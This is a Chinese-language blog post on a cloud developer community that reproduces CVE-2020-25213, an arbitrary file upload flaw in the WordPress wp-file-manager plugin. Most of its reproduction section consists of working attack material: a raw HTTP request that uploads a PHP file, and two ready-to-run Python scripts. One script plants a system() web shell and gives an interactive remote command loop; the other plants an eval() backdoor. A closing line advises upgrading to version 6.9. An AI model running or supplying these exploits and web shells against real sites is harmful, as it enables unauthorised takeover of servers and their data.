备案控制台
探索云世界
开发者社区 云原生 文章 正文

WordPress插件wp-file-manager任意文件上传漏洞(CVE-2020-25213)

2023-09-21 266
版权
版权声明：
本文内容由阿里云实名注册用户自发贡献，版权归原作者所有，阿里云开发者社区不拥有其著作权，亦不承担相应法律责任。具体规则请查看《 阿里云开发者社区用户服务协议》和 《阿里云开发者社区知识产权保护指引》。如果您发现本社区中有涉嫌抄袭的内容，填写 侵权投诉表单进行举报，一经查实，本社区将立刻删除涉嫌侵权内容。
本文涉及的产品
函数计算 FC，180元额度 3个月
推荐场景：
活动用函数FC部署Stable Diffusion 部署通义千问预体验 图生图，部署3D卡通风格模型
服务治理 MSE Sentinel/OpenSergo，Agent数量 不受限
可观测可视化 Grafana 版，10个用户账号 1个月
简介： WordPress插件WPFileManager中存在一个严重的安全漏洞,攻击者可以在安装了此插件的任何WordPress网站上任意上传文件并远程代码执行。

声明

请勿利用文章内的相关技术从事非法测试，由于传播、利用此文所提供的信息或者工具而造成的任何直接或者间接的后果及损失，均由使用者本人负责，所产生的一切不良后果与文章作者无关。该文章仅供学习用途使用。


一、简介


WordPress是使用PHP语言开发的博客平台,用户可以在支持PHP和MySQL数据库的服务器上架设属于自己的网站。也可以把WordPress当作一个内容管理系统(CMS)来使用。


文件管理器允许您直接从WordPress后端编辑、删除、上传、下载、压缩、复制和粘贴文件和文件夹。不必费心使用FTP来管理文件和从一个位置移动文件。有史以来功能最强大、最灵活、最简单的WordPress文件管理解决方案。


二、插件介绍


WP-file-manager是一个旨在帮助WordPress管理员管理其站点上的文件的插件。


该插件包含一个附加库elFinder,它是一个开放源代码文件管理器,旨在创建简单的文件管理界面,并提供文件管理器背后的核心功能。


WP-file-Manager插件以引入漏洞的方式使用了该库。


三、漏洞概述


WordPress6.9之前的文件管理器wp-file-manager插件存在一个严重的安全漏洞，允许远程攻击者上传和执行任意PHP代码,因为它将不安全的示例elFinder连接器文件重命名为具有.php扩展名。


四、影响范围


  • 插件:wp-file-manager
  • 受影响版本:6.0-6.8


五、漏洞分析


参考以下链接:

https://www.anquanke.com/post/id/216990

https://mp.weixin.qq.com/s/NJ-pnecyq7WK6G9KZxMe6A


六、环境搭建


phpStudy+WordPress5.4.1+FileManager6.0


WordPress5.4.1下载地址:https://cn.wordpress.org/wordpress-5.4.1-zh_CN.zip

FileManager插件下载地址: http://plugins.svn.wordpress.org/wp-file-manager/tags/6.0/


安装WordPress,按照配置填写,下一步即可。

image.png

image.png

安装完成,登录到WordPress后台

image.png

安装插件

image.png

image.png

至此环境搭建完成！！！


七、漏洞复现


在URL访问以下链接

/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php

image.png

页面出现如上错误信息，就说明存在漏洞！


手工验证

POC:

POST /wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php HTTP/1.1

Host: XX.XX.XX.XX

Cache-Control: max-age=0

Upgrade-Insecure-Requests: 1

User-Agent: Mozilla/5.0 (Windows NT 10.0; Win64; x64) AppleWebKit/537.36 (KHTML, like Gecko) Chrome/110.0.0.0 Safari/537.36

Accept: text/html,application/xhtml+xml,application/xml;q=0.9,image/avif,image/webp,image/apng,*/*;q=0.8,application/signed-exchange;v=b3;q=0.7

Accept-Encoding: gzip, deflate

Accept-Language: zh-CN,zh;q=0.9,ak;q=0.8

Cookie: wordpress_80193a4175ed7036a41967a05cc71574=admin%7C1695883149%7CEExrbr7sreMcARy1GBM8e6lpSb6uABoYQkVbFC3fhgb%7Cfbb6d7454936a3506bc8415db7393eb8b1166e04f2cc19fd262e8565c223a456; wordpress_test_cookie=WP%20Cookie%20check; wordpress_logged_in_80193a4175ed7036a41967a05cc71574=admin%7C1695883149%7CEExrbr7sreMcARy1GBM8e6lpSb6uABoYQkVbFC3fhgb%7C965f0f042ab63785c800584a93cd3a19288cb149d73f0f25c84ddfa0d3d2b95b; wp-settings-time-1=1694673832; PHPSESSID=qcvboapberh10d2839nt7r5opn

Connection: close

Content-Type: multipart/form-data; boundary=---------------------------402078532114344024151352374707

Content-Length: 474

-----------------------------402078532114344024151352374707

Content-Disposition: form-data; name="upload[0]"; filename="xxx.php"

Content-Type: image/jpeg

<?php phpinfo();?>

-----------------------------402078532114344024151352374707

Content-Disposition: form-data; name="cmd"

upload

-----------------------------402078532114344024151352374707

Content-Disposition: form-data; name="target"

l1_Lw==

-----------------------------402078532114344024151352374707--


Burp抓包将Request数据包进行替换

image.png

在返回包中发现已成功上传文件，访问URL

/wordpress/wp-content/plugins/wp-file-manager/lib/files/xxx.php

image.png

file_Manager_Rce.py

#!/usr/bin/python3

# -*- coding: UTF-8 -*-

"""

@Author  : xDroid

@File    : file_manager_Rce.py

@Time    : 2020/9/21

"""

import requests

requests.packages.urllib3.disable_warnings()

from hashlib import md5

import random

import json

import optparse

import sys

GREEN = '\033[92m'

YELLOW = '\033[93m'

RED = '\033[91m'

ENDC = '\033[0m'

proxies={ 'http':'127.0.0.1:8080', 'https':'127.0.0.1:8080' }

def randmd5():

   new_md5 = md5()

   new_md5.update(str(random.randint(1, 1000)).encode())

   return new_md5.hexdigest()[:6]+'.php'

def file_manager(url):

   if not url:

       print('#Usage : python3 file_manager_upload.py -u http://127.0.0.1')

       sys.exit()

   vuln_url=url.strip()+"/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"

   filename=randmd5()

   headers={

       'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0',

       'Content-Type':'multipart/form-data;boundary=---------------------------42474892822150178483835528074'

   }

   data="-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"reqid\"\r\n\r\n1744f7298611ba\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"%s\"\r\nContent-Type: application/php\r\n\r\n<?php system($_GET['cmd']); ?>\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"mtime[]\"\r\n\r\n1597850374\r\n-----------------------------42474892822150178483835528074--\r\n"%filename

   try:

       resp=requests.post(url=vuln_url,headers=headers,data=data,timeout=5, verify=False)

       result = json.loads(resp.text)

       if filename == result['added'][0]['url'].split('/')[-1]:

           print(GREEN+'[+]\t\t'+ENDC+YELLOW+'File Uploaded Success\t\t'+ENDC)

           while(True):

               command = input("请输入执行的命令:")

               if "q" == command:

                   sys.exit()

               exec_url = url+'/wp-content/plugins/wp-file-manager/lib/files/'+filename+'?cmd='+command.strip()

               exec_resp = requests.get(url=exec_url)

               exec_resp.encoding='gb2312'

               print(exec_resp.text)

       else:

           print(RED+'[-]\t\tUploaded failed\t\t'+ENDC)

   except Exception as e:

       print(RED + '[-]\t\tUploaded failed\t\t' + ENDC)

if __name__ == '__main__':

   banner = GREEN+'''

     __ _ _                                                    

    / _(_) | ___   _ __ ___   __ _ _ __   __ _  __ _  ___ _ __  

   | |_| | |/ _ \ | '_ ` _ \ / _` | '_ \ / _` |/ _` |/ _ \ '__|

   |  _| | |  __/ | | | | | | (_| | | | | (_| | (_| |  __/ |    

   |_| |_|_|\___| |_| |_| |_|\__,_|_| |_|\__,_|\__, |\___|_|    

                                               |___/            

                   by: Timeline Sec

                   file manager 6.0-6.8 file upload

   '''+ENDC

   print(banner)

   parser = optparse.OptionParser('python3 %prog' + '-h')

   parser.add_option('-u', dest='url', type='str', help='wordpress url')

   (options, args) = parser.parse_args()

   file_manager(options.url)


file_manager_upload.py

#!/usr/bin/python3

# -*- coding: UTF-8 -*-

"""

@Author  : xDroid

@File    : file_manager.py

@Time    : 2020/9/21

"""

import requests

requests.packages.urllib3.disable_warnings()

from hashlib import md5

import random

import json

import optparse

GREEN = '\033[92m'

YELLOW = '\033[93m'

RED = '\033[91m'

ENDC = '\033[0m'

proxies={ 'http':'127.0.0.1:8080', 'https':'127.0.0.1:8080' }

def randmd5():

   new_md5 = md5()

   new_md5.update(str(random.randint(1, 1000)).encode())

   return new_md5.hexdigest()[:6]+'.php'

def file_manager(url):

   vuln_url=url.strip()+"/wp-content/plugins/wp-file-manager/lib/php/connector.minimal.php"

   filename=randmd5()

   headers={

       'User-Agent': 'Mozilla/5.0 (Macintosh; Intel Mac OS X 10.15; rv:80.0) Gecko/20100101 Firefox/80.0',

       'Content-Type':'multipart/form-data;boundary=---------------------------42474892822150178483835528074'

   }

   data="-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"reqid\"\r\n\r\n1744f7298611ba\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"cmd\"\r\n\r\nupload\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"target\"\r\n\r\nl1_Lw\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"upload[]\"; filename=\"%s\"\r\nContent-Type: application/php\r\n\r\n<?php @eval($_POST['cmd']); ?>\r\n-----------------------------42474892822150178483835528074\r\nContent-Disposition: form-data; name=\"mtime[]\"\r\n\r\n1597850374\r\n-----------------------------42474892822150178483835528074--\r\n"%filename

   try:

       resp=requests.post(url=vuln_url,headers=headers,data=data,timeout=10, verify=False)

       result = json.loads(resp.text)

       if filename == result['added'][0]['url'].split('/')[-1]:

           print(GREEN+'[+]\t\t'+ENDC+YELLOW+'File Uploaded Success\t\t'+ENDC)

           print(url+"/wp-content/plugins/wp-file-manager/lib/files/"+filename)

       else:

           print(RED + '[-]\t\tUploaded failed\t\t' + ENDC)

   except Exception as e:

       print(RED + '[-]\t\tUploaded failed\t\t' + ENDC)

if __name__ == '__main__':

   banner = GREEN+'''

     __ _ _                                                    

    / _(_) | ___   _ __ ___   __ _ _ __   __ _  __ _  ___ _ __  

   | |_| | |/ _ \ | '_ ` _ \ / _` | '_ \ / _` |/ _` |/ _ \ '__|

   |  _| | |  __/ | | | | | | (_| | | | | (_| | (_| |  __/ |    

   |_| |_|_|\___| |_| |_| |_|\__,_|_| |_|\__,_|\__, |\___|_|    

                                               |___/            

                   by: Timeline Sec

                   file manager 6.0-6.8 file upload

   '''+ENDC

   print(banner)

   parser = optparse.OptionParser('python3 %prog' + '-h')

   parser.add_option('-u', dest='url', type='str', help='wordpress url')

   (options, args) = parser.parse_args()

   file_manager(options.url)


除了以上两个py脚本外，还可使用wp-file-manager-exploit.sh脚本验证

image.png

八、修复建议


将File Manager插件升级到6.9版本

文章标签：
PHP
移动开发
安全
Python
Web App开发
关键词：
wordpress插件
wordpress漏洞
wordpress文件上传
wordpress插件漏洞
李火火
目录
相关文章
织音
|
2月前
|
PHP UED 异构计算
【开源】WordPress一键崩溃宕机插件（整活娱乐）
可一键实现Wordpress崩溃宕机的整活向插件（请勿用于非法途径，仅供整活娱乐）。鼓励关注网站性能的提升，以提供更好的用户体验，提倡为用户提供良好体验和高效速度的原则。
织音
34 4
【开源】WordPress一键崩溃宕机插件（整活娱乐）
疯狂的猿
|
6天前
WP-AutoPostPro WordPress自动采集发布插件
WP-AutoPostPro 是目前最好用的WordPress自动采集发布插件，最大的特点是可以采集来自于任何网站的内容并自动发布到你的WordPress站点。真正做到可以采集任何网站的内容并自动发布，采集过程完全自动进行无需人工干预，并提供内容过滤、HTML标签过滤、关键词替换、自动链接、自动标签、自动下载远程图片到本地服务器、自动添加文章前缀后缀、并且可以使用微软翻译引擎将采集的文章自动翻译为各种语言进行发布。
疯狂的猿
17 0
海拥
|
4月前
|
PHP SEO
WordPress 主题和插件
WordPress 主题和插件
海拥
85 0
拈花倾城
|
1月前
|
存储 安全 前端开发
WordPress未经身份验证的远程代码执行CVE-2024-25600漏洞分析
WordPress未经身份验证的远程代码执行CVE-2024-25600漏洞分析
拈花倾城
72 0
海拥
|
4月前
|
PHP
教你制作一个 WordPress 插件
教你制作一个 WordPress 插件
海拥
34 0
咖啡教室
|
5月前
|
前端开发 JavaScript API
wordpress插件开发踩坑记
想要使用 REST API 需要自己额外安装插件：WordPress REST API，现在 WordPress 5.0以上的版本已经默认支持 REST API了，不需要额外去安装插件
咖啡教室
43 0
咖啡教室
|
5月前
|
JavaScript 前端开发 程序员
从零开发和发布自己的wordpress插件到官方插件库完全指南
wordpress是一款很流行的开源博客程序，全世界有很多网站都在使用wordpress，程序员们也喜欢拿来做自己的技术博客，对于自己不满意的地方，那肯定也需要自己动手来修改了，下面就介绍从开发到发布一个wordpress插件的完整流程
咖啡教室
63 0
北京六翼开源
|
10月前
|
缓存 数据库 云计算
为什么WordPress有时用缓存加速插件反而变得慢了？
为什么WordPress有时用缓存加速插件反而变得慢了？ 使用缓存插件可以大大提高 WordPress 网站的性能和响应速度，因为它可以缓存页面和资源，减少服务器请求和数据传输。但是，如果插件配置不当，或者您的网站具有特定的配置或功能，可能会导致缓存插件反而使网站变慢。
北京六翼开源
121 0
为什么WordPress有时用缓存加速插件反而变得慢了？
北京六翼开源
|
10月前
|
安全
Wordpress定制开发如何添加插件？
Wordpress定制开发如何添加插件？ 要在 WordPress 中添加插件，请按照以下步骤操作： 登录 WordPress 后台，进入“插件”菜单。 点击“添加新插件”按钮，您将看到一个搜索框和一些推荐插件。
北京六翼开源
90 0
govgfw
|
1月前
|
安全
SiteGround如何设置WordPress网站自动更新
iteGround Autoupdate功能会自动帮我们更新在他们这里托管的所有WordPress网站，这样做是为了保证网站安全，并且让它们一直保持最新状态。他们会根据我们选择的设置自动更新不同版本的WordPress，包括主要版本和次要版本。在每次自动更新之前，他们都会为我们的网站做一个完整的备份，这样如果有什么问题，我们可以轻松地恢复到之前的状态。在本文中，我们将介绍如何在SiteGround中设置WordPress网站自动更新。
govgfw
37 0
SiteGround如何设置WordPress网站自动更新

云原生

热门文章

最新文章

  • 1
    RocketMQ 事件驱动：云时代的事件驱动有啥不同？
  • 2
    Docker CE 镜像源站
  • 3
    Minikube - Kubernetes本地实验环境
  • 4
    通义灵码牵手阿里云函数计算 FC ，打造智能编码新体验
  • 5
    重塑云上的 Java 语言
  • 6
    微服务架构的理论基础 - 康威定律
  • 7
    Serverless 成本再优化：Knative 支持抢占式实例
  • 8
    Docker学习路线图 (持续更新中)
  • 9
    Docker常见故障排查指南 - 阿里云容器服务
  • 10
    谈谈 Docker Volume 之权限管理（一）
  • 1
    【C++笔记】从零开始认识继承
    4
  • 2
    Serverless 应用引擎产品使用之数据文件（例如sdxl）超过了OSS（对象存储服务）的单个上传大小限制（5GB）如何解决
    7
  • 3
    Serverless 应用引擎产品使用之在函数计算中，数据库访问失败如何解决
    12
  • 4
    Serverless 应用引擎产品使用之在阿里云函数计算中发现没有NAC（Native Application Component）选项，且无法自己上传MOD（模块）如何解决
    14
  • 5
    Serverless 应用引擎操作报错合集之在阿里云函数计算中，调用了FC函数但是没有执行或者报错，并且在FC函数后台也看不到调用记录日志如何解决
    16
  • 6
    Serverless 应用引擎操作报错合集之在阿里函数计算中，sd部署启动报错CAExited 报错信息“operation not permitted”如何解决
    11
  • 7
    Serverless 应用引擎操作报错合集之在阿里函数计算中，SD Controlnet Depth 运行过程中出现错误“urllib3 v2.0 only supports OpenSSL 1.1.1+”如何解决
    11
  • 8
    Serverless 应用引擎操作报错合集之在阿里云函数计算中，laravel zip包使用示例的start.sh脚本启动时出现错误代码如何解决
    13
  • 9
    Serverless 应用引擎操作报错合集之在阿里云函数计算中，服务器调用FC函数时出现 "[Errno -3] Temporary failure in name resolution)" 错误如何解决
    11
  • 10
    Serverless 应用引擎操作报错合集之在Serverless 应用引擎中，部署过程中遇到错误代码如何解决
    13

    • 相关电子书

    更多
  • 低代码开发师（初级）实战教程
  • 冬季实战营第三期：MySQL数据库进阶实战
  • 阿里巴巴DevOps 最佳实践手册

    • 相关实验场景

    更多
  • 通过Helm CLI部署wordpress到ACK集群
  • 手动搭建WordPress（CentOS 8）
  • 通过Docker部署WordPress 论坛
  • 基于Linux命令实现WordPress手动建站
  • 使用阿里云容器服务和容器网络文件系统搭建WordPress网站
  • 基于函数计算快速搭建Wordpress博客系统
    • 下一篇
    部署LAMP环境（Alibaba Cloud Linux 3）